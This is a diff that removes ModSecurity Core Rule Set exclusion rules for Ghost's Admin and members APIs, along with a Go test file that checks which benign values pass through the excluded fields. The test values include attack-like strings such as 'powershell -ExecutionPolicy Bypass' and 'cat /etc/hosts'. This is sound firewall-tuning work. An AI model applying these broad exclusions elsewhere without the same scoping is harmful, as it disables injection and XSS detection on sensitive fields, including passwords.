|
||||||
# 932125, 932230, 932235, 932250: cat /etc/hosts | grep example
|
|
||||||
# 932160: #!/usr/bin/env python3
|
|
||||||
# 932260: python3 -m venv .venv
|
|
||||||
# 932370: the same list in the html of a post saved through the API
|
|
||||||
# 932380: a code block whose second line starts with powershell
|
|
||||||
# 934100: document.querySelectorAll('a').forEach((a) => console.log(a.href))
|
|
||||||
# 941100, 941160: an HTML card with an iframe
|
|
||||||
# 941120: onclick= in an HTML card
|
|
||||||
# 941180: window.onload in a code block
|
|
||||||
# 941390: console.log(
|
|
||||||
# 942190: a code block with an SQL query
|
|
||||||
# These fields hold an article:
|
|
||||||
# posts.<n>.lexical and pages.<n>.lexical, which the editor saves, and the
|
|
||||||
# same fields mobiledoc, in Ghost's older format, and html, which
|
|
||||||
# integrations send
|
|
||||||
# snippets.<n>.lexical and snippets.<n>.mobiledoc, a part of a post saved for
|
|
||||||
# reuse
|
|
||||||
# newsletters.<n>.footer_content, the footer of a newsletter
|
|
||||||
# A <script> element (941110) and a javascript: link (941170, 941210) are still
|
|
||||||
# refused in them.
|
|
||||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
|
||||||
"id:900355,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932370;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=934100;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941100;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941120;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941160;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941180;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941390;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942190;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/"
|
|
||||||
|
|
||||||
# Code injection, the HTML Ghost adds to the head and the foot of a page, and
|
|
||||||
# the site's settings, which hold the site-wide code injection besides the
|
|
||||||
# title and the description, skip the rules of plain text above and these:
|
|
||||||
# 921130, 941100, 941160: <meta name="google-site-verification" ...>
|
|
||||||
# 941270: <link rel="preconnect" href="https://fonts.example.com">
|
|
||||||
# These fields hold it, and skip the rules anywhere on the Admin API:
|
|
||||||
# posts.<n>.codeinjection_head and _foot, and the same fields of pages
|
|
||||||
# settings.<n>.value, the value of a setting
|
|
||||||
# A <script> element and a javascript: link are still refused in them.
|
|
||||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
|
||||||
"id:900356,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=921130;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941100;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941160;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941270;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/"
|
|
||||||
|
|
||||||
# Saving a staff user's profile sends the field profile_image, whose name holds
|
|
||||||
# .profile, a file the list of system files names (930120).
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
|
|
||||||
"id:900357,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.users\.\d+\.profile_image$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS_NAMES:/^json\.users\.\d+\.profile_image$/"
|
|
||||||
|
|
||||||
# The passwords, which skip each rule that random passwords set off:
|
|
||||||
# password, signing in at /ghost/api/admin/session/
|
|
||||||
# setup.<n>.password, creating the first staff user
|
|
||||||
# invitation.<n>.password, accepting an invitation
|
|
||||||
# password_reset.<n>.newPassword and ne2Password, resetting a password
|
|
||||||
# password.<n>.oldPassword, newPassword and ne2Password, changing one at
|
|
||||||
# /ghost/api/admin/users/password/
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/(?:session|authentication/(?:setup|invitation|password_reset)|users/password)/$" \
|
|
||||||
"id:900358,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=920270;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=920540;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=921200;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=930100;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=930110;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932130;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932270;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932280;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932330;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932340;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932370;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933100;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933135;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933180;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933210;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941100;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941120;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941160;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941180;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942100;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942151;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942190;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942230;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942290;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942320;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942540;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942550;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=944150;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/"
|
|
||||||
|
|
||||||
SecMarker END_GHOST
|
|
||||||
@@ -1,514 +0,0 @@
|
|||||||
package coreruleset_test
|
|
||||||
|
|
||||||
import (
|
|
||||||
"encoding/json"
|
|
||||||
"net/http"
|
|
||||||
"net/url"
|
|
||||||
"slices"
|
|
||||||
"strings"
|
|
||||||
"testing"
|
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
|
||||||
)
|
|
||||||
|
|
||||||
// ghostThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
|
||||||
const ghostThreshold = 5
|
|
||||||
|
|
||||||
// Paths of Ghost's Admin API, Content API and members' API.
|
|
||||||
const (
|
|
||||||
ghostPosts = "/ghost/api/admin/posts/"
|
|
||||||
ghostPost = ghostPosts + "6af458a5d281b00001a59969/"
|
|
||||||
ghostPage = "/ghost/api/admin/pages/6af45d34d281b00001a599a0/"
|
|
||||||
ghostNewsletter = "/ghost/api/admin/newsletters/6af45710d281b00001a598a1/"
|
|
||||||
ghostMembers = "/ghost/api/admin/members/"
|
|
||||||
ghostSettings = "/ghost/api/admin/settings/"
|
|
||||||
ghostSession = "/ghost/api/admin/session/"
|
|
||||||
ghostSetup = "/ghost/api/admin/authentication/setup/"
|
|
||||||
ghostPasswordReset = "/ghost/api/admin/authentication/password_reset/"
|
|
||||||
ghostUser = "/ghost/api/admin/users/6af4570fd281b00001a59891/"
|
|
||||||
ghostMember = "/members/api/member/"
|
|
||||||
ghostMagicLink = "/members/api/send-magic-link/"
|
|
||||||
)
|
|
||||||
|
|
||||||
func TestGhostFixesApplyOnlyToAHostnameThatServesGhost(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := servingApps(t, map[string][]string{
|
|
||||||
giteaHost: {gitea}, otherHost: {"ghost"},
|
|
||||||
})
|
|
||||||
|
|
||||||
// A filter, which only Ghost's fixes let through.
|
|
||||||
filter := get(ghostPosts + "?filter=tag:powershell")
|
|
||||||
|
|
||||||
wantResult(t, crs, withHost(filter, otherHost), coreruleset.Result{})
|
|
||||||
wantResult(t, crs, withHost(filter, giteaHost), matched(932120))
|
|
||||||
}
|
|
||||||
|
|
||||||
// ghostField is a field of a JSON body Ghost receives: the request that
|
|
||||||
// sends it, and its body, with VALUE where the field's value goes.
|
|
||||||
type ghostField struct{ method, target, body string }
|
|
||||||
|
|
||||||
// with returns f's body holding value, escaped for JSON.
|
|
||||||
func (f ghostField) with(t *testing.T, value string) string {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
quoted, err := json.Marshal(value)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatal(err)
|
|
||||||
}
|
|
||||||
|
|
||||||
return strings.ReplaceAll(
|
|
||||||
f.body,
|
|
||||||
"VALUE",
|
|
||||||
string(quoted[1:len(quoted)-1]),
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
// ghostTextFields hold plain text and skip the rules of 900353 and 900359.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
|
||||||
var ghostTextFields = []ghostField{
|
|
||||||
{http.MethodPut, ghostPost, `{"posts":[{"title":"VALUE"}]}`},
|
|
||||||
{http.MethodPut, ghostPost, `{"posts":[{"custom_excerpt":"VALUE"}]}`},
|
|
||||||
{http.MethodPut, ghostPost, `{"posts":[{"meta_title":"VALUE"}]}`},
|
|
||||||
{http.MethodPut, ghostPost, `{"posts":[{"og_description":"VALUE"}]}`},
|
|
||||||
{
|
|
||||||
http.MethodPut,
|
|
||||||
ghostPost,
|
|
||||||
`{"posts":[{"tags":[{"id":"1"},{"name":"VALUE"}]}]}`,
|
|
||||||
},
|
|
||||||
{http.MethodPost, ghostPosts, `{"posts":[{"tags":["VALUE"]}]}`},
|
|
||||||
{
|
|
||||||
http.MethodPost,
|
|
||||||
"/ghost/api/admin/pages/",
|
|
||||||
`{"pages":[{"slug":"VALUE"}]}`,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
http.MethodPost,
|
|
||||||
"/ghost/api/admin/tags/",
|
|
||||||
`{"tags":[{"name":"VALUE"}]}`,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
http.MethodPost,
|
|
||||||
"/ghost/api/admin/tags/",
|
|
||||||
`{"tags":[{"description":"VALUE"}]}`,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
http.MethodPost,
|
|
||||||
"/ghost/api/admin/labels/",
|
|
||||||
`{"labels":[{"name":"VALUE"}]}`,
|
|
||||||
},
|
|
||||||
{http.MethodPost, ghostMembers, `{"members":[{"note":"VALUE"}]}`},
|
|
||||||
{
|
|
||||||
http.MethodPost,
|
|
||||||
ghostMembers,
|
|
||||||
`{"members":[{"labels":[{"name":"VALUE"}]}]}`,
|
|
||||||
},
|
|
||||||
{http.MethodPut, ghostNewsletter, `{"newsletters":[{"name":"VALUE"}]}`},
|
|
||||||
{
|
|
||||||
http.MethodPut,
|
|
||||||
ghostNewsletter,
|
|
||||||
`{"newsletters":[{"sender_name":"VALUE"}]}`,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
http.MethodPost,
|
|
||||||
"/ghost/api/admin/snippets/",
|
|
||||||
`{"snippets":[{"name":"VALUE"}]}`,
|
|
||||||
},
|
|
||||||
{http.MethodPut, ghostMember, ghostMemberName},
|
|
||||||
}
|
|
||||||
|
|
||||||
// ghostMemberName is the body that saves a member's name at /members/api/.
|
|
||||||
const ghostMemberName = `{"name":"VALUE"}`
|
|
||||||
|
|
||||||
// ghostAddressFields hold a member's or a staff user's email address and skip
|
|
||||||
// 930120, 932120 and 932260.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
|
||||||
var ghostAddressFields = []ghostField{
|
|
||||||
{
|
|
||||||
http.MethodPost,
|
|
||||||
ghostMagicLink,
|
|
||||||
`{"email":"VALUE","emailType":"signup"}`,
|
|
||||||
},
|
|
||||||
{http.MethodPut, ghostMember, `{"email":"VALUE"}`},
|
|
||||||
{http.MethodPost, ghostMembers, `{"members":[{"email":"VALUE"}]}`},
|
|
||||||
{http.MethodPost, ghostSession, `{"username":"VALUE"}`},
|
|
||||||
{http.MethodPost, ghostSetup, `{"setup":[{"email":"VALUE"}]}`},
|
|
||||||
{
|
|
||||||
http.MethodPost,
|
|
||||||
ghostPasswordReset,
|
|
||||||
`{"password_reset":[{"email":"VALUE"}]}`,
|
|
||||||
},
|
|
||||||
{http.MethodPut, ghostUser, `{"users":[{"email":"VALUE"}]}`},
|
|
||||||
}
|
|
||||||
|
|
||||||
// ghostArticleFields hold an article and skip the rules of 900355.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
|
||||||
var ghostArticleFields = []ghostField{
|
|
||||||
{http.MethodPut, ghostPost, `{"posts":[{"lexical":"VALUE"}]}`},
|
|
||||||
{http.MethodPut, ghostPage, `{"pages":[{"lexical":"VALUE"}]}`},
|
|
||||||
{
|
|
||||||
http.MethodPost,
|
|
||||||
ghostPosts + "?source=html",
|
|
||||||
`{"posts":[{"html":"VALUE"}]}`,
|
|
||||||
},
|
|
||||||
{http.MethodPost, ghostPosts, `{"posts":[{"mobiledoc":"VALUE"}]}`},
|
|
||||||
{
|
|
||||||
http.MethodPost,
|
|
||||||
"/ghost/api/admin/snippets/",
|
|
||||||
`{"snippets":[{"lexical":"VALUE"}]}`,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
http.MethodPut,
|
|
||||||
ghostNewsletter,
|
|
||||||
`{"newsletters":[{"footer_content":"VALUE"}]}`,
|
|
||||||
},
|
|
||||||
}
|
|
||||||
|
|
||||||
// ghostCodeFields hold code injection or a setting and skip the rules of
|
|
||||||
// 900356.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
|
||||||
var ghostCodeFields = []ghostField{
|
|
||||||
{
|
|
||||||
http.MethodPut,
|
|
||||||
ghostPost,
|
|
||||||
`{"posts":[{"codeinjection_head":"VALUE"}]}`,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
http.MethodPut,
|
|
||||||
ghostPage,
|
|
||||||
`{"pages":[{"codeinjection_foot":"VALUE"}]}`,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
http.MethodPut, ghostSettings,
|
|
||||||
`{"settings":[{"key":"title","value":"Blog"},` +
|
|
||||||
`{"key":"codeinjection_head","value":"VALUE"}]}`,
|
|
||||||
},
|
|
||||||
}
|
|
||||||
|
|
||||||
// The query fields that skip some rules, each ending in "=".
|
|
||||||
const (
|
|
||||||
ghostAdminFilter = ghostPosts + "?limit=30&filter="
|
|
||||||
ghostContentFilter = "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter="
|
|
||||||
ghostSearch = ghostMembers + "?limit=100&search="
|
|
||||||
ghostEmbed = "/ghost/api/admin/oembed/?type=bookmark&url="
|
|
||||||
)
|
|
||||||
|
|
||||||
// ghostQueryFields are the query fields that skip some rules.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
|
||||||
var ghostQueryFields = []string{
|
|
||||||
ghostAdminFilter, ghostContentFilter, ghostSearch, ghostEmbed,
|
|
||||||
}
|
|
||||||
|
|
||||||
// ghostURLs are addresses 930120 and 932120 refused in url.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
|
||||||
var ghostURLs = []string{
|
|
||||||
"https://github.com/example/site/blob/main/.htaccess",
|
|
||||||
"https://example.com/blog/powershell-tips?ref=ghost",
|
|
||||||
"https://example.com/docs/python3/",
|
|
||||||
}
|
|
||||||
|
|
||||||
// ghostAddresses are addresses 930120, 932120 and 932260 refused.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
|
||||||
var ghostAddresses = []string{
|
|
||||||
"erin.htaccess@example.com",
|
|
||||||
"python3.dev@example.com",
|
|
||||||
"dave.powershell@example.com",
|
|
||||||
}
|
|
||||||
|
|
||||||
// ghostArticle is an ordinary article with a code block, an HTML card and an
|
|
||||||
// embed, which each of the rules of 900355 refused.
|
|
||||||
const ghostArticle = `<h2>Tidy .htaccess with python3</h2>` +
|
|
||||||
`<pre><code>#!/usr/bin/env python3
|
|
||||||
cat /etc/hosts | grep example
|
|
||||||
ls -la /var/www/html/.htaccess
|
|
||||||
powershell -ExecutionPolicy Bypass -File build.ps1
|
|
||||||
SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;
|
|
||||||
document.querySelectorAll('a').forEach((a) => console.log(a.href));
|
|
||||||
window.onload = () => alert('ready');</code></pre>` +
|
|
||||||
`<iframe src="https://www.youtube-nocookie.com/embed/x" allowfullscreen></iframe>` +
|
|
||||||
`<img src="https://images.example.com/banner.png" ` +
|
|
||||||
`onclick="this.classList.toggle('big')">`
|
|
||||||
|
|
||||||
// ghostCodeInjection is ordinary code injection for the head of a page.
|
|
||||||
const ghostCodeInjection = `<meta name="google-site-verification" content="x">` +
|
|
||||||
`<link rel="preconnect" href="https://fonts.example.com">` +
|
|
||||||
`<style>.gh-head { border-bottom: 1px solid #eee; }</style>`
|
|
||||||
|
|
||||||
// wantGhostField checks that the Core Rule Set, reading bodies, refuses f
|
|
||||||
// holding value, or lets it through.
|
|
||||||
func wantGhostField(t *testing.T, f ghostField, value string, refused bool) {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
r := request{f.method, f.target, []string{jsonBody}}
|
|
||||||
body := f.with(t, value)
|
|
||||||
|
|
||||||
got, _ := inspectBody(t, readingBodies(t), r, body)
|
|
||||||
if refused && got.Score < ghostThreshold {
|
|
||||||
t.Errorf(
|
|
||||||
"%s %s %.300s let through: %+v",
|
|
||||||
f.method,
|
|
||||||
f.target,
|
|
||||||
body,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
if !refused && got.Score >= ghostThreshold {
|
|
||||||
t.Errorf("%s %s %.300s refused: %+v", f.method, f.target, body, got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// wantGhostQuery checks that the Core Rule Set, at the defaults, refuses
|
|
||||||
// target, a query field and its value, or lets it through.
|
|
||||||
func wantGhostQuery(t *testing.T, target string, refused bool) {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
got := inspect(t, atDefaults(t), get(target))
|
|
||||||
if refused && got.Score < ghostThreshold {
|
|
||||||
t.Errorf("%s let through: %+v", target, got)
|
|
||||||
}
|
|
||||||
|
|
||||||
if !refused && got.Score >= ghostThreshold {
|
|
||||||
t.Errorf("%s refused: %+v", target, got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
for _, encoded := range hardValues {
|
|
||||||
value, _ := url.QueryUnescape(encoded)
|
|
||||||
|
|
||||||
fields := slices.Concat(
|
|
||||||
ghostTextFields,
|
|
||||||
ghostArticleFields,
|
|
||||||
ghostCodeFields,
|
|
||||||
)
|
|
||||||
for _, f := range fields {
|
|
||||||
wantGhostField(t, f, "Notes on "+value+" & tidy files", false)
|
|
||||||
}
|
|
||||||
|
|
||||||
// filter as the admin's pickers write it, and search as typed.
|
|
||||||
wantGhostQuery(
|
|
||||||
t,
|
|
||||||
ghostAdminFilter+url.QueryEscape("title:~'"+value+"'"),
|
|
||||||
false,
|
|
||||||
)
|
